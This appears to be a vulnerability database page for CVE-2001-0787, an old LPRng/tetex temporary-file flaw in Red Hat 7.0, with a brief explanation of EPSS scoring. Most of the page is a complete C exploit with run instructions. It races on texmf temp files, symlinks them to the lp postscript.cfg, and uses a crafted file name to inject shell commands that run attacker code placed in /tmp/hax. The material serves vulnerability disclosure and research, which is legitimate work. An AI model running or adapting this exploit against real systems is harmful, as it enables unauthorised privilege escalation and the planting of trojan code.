CVE-2001-0787 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/2865/info The LPRng software is an enhanced, extended, and portable implementation of the Berkeley LPR print spooler functionality. When the LPRng daemon is initialized, it fails to drop its supplementary groups. As a result, the daemon and any child processes it spawns will maintain the supplementary groups inherited from the process that started LPRng. Processes or routines which are meant to be run with lowered privileges will run with these supplementary group privileges. Vulnerable sections of program code are often run with lowered privileges because of susceptibility to attacks. Because they are not dropped, these privileges may be gained by an attacker if LPRng is vulnerable to such attacks. */ /******************************************************************** Redhat 7.0 (mebe 7.1 ?) LPRng-3.7.4-23 (and earlier) + tetex-1.0.7-7 (and earlier?) Insecure tmp file privilege elevation vulnerability. Allows uid/gid lp and root groups on LPRng-3.6.24 and earlier Please note: -rwxr-xr-x 1 lp lp 444472 Jun 14 22:05 /usr/bin/lpq* -rwxr-xr-x 1 lp lp 441624 Jun 14 22:05 /usr/bin/lprm* -rwxr-xr-x 1 lp lp 459160 Jun 14 22:05 /usr/bin/lpr* -rwxr-xr-x 1 lp lp 448120 Jun 14 22:05 /usr/bin/lpstat* -rwxr-xr-x 1 lp lp 448320 Jun 14 22:05 /usr/sbin/lpc* this program allows trojan code to be planted on the machine it is executed on. tmp file handling done badly in helper application (dvi print filter) allows modification to lp config files. the configuation file is sourced by the master print filter, which is itself a shell script, each time something is printed. this makes it possible to insert commands into the configuration file by creating a special filename to be included in the file that is created. (see the close(open(" thingee ) Redhat Bugzilla reference:- https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342 --zen-parse requires some fonts get made when its run. probably won't be a problem unless someone else has tried this exploit. just wait 90 days for /var/lib/texmf to clear and try again ;] or try print something different .dvi files are what does the trick. ********************************************************************/ int shake() { int f; char r[1000]; int w; f=fopen("/proc/loadavg","r"); fscanf(f,"%*s %*s %*s %*s %s",r); fclose(f); w=atoi(r); return w; } void cow(char *s,char *t,int ofs) { sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs); sprintf(t,"%s/lsR%d.tmp",s,ofs); } main() { char s[1000]; char t[1000]; int y,i; printf("Put the stuff to run as lp:lp in /tmp/hax\n"); printf("the lpr /usr/share/aspe<tab>/manual.dvi\n"); printf("when the ! comes up, wait a second, then press control-C.\n\n"); printf("Then print something.\n\n\n"); close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666)); while(1) { i=shake(); for(y=-30;y<0;y++) { cow(s,t,y+i); if(!access(t,0)) { printf("!\n"); unlink(t); symlink("/var/spool/lpd/lp/postscript.cfg",t); sleep(1); } } } }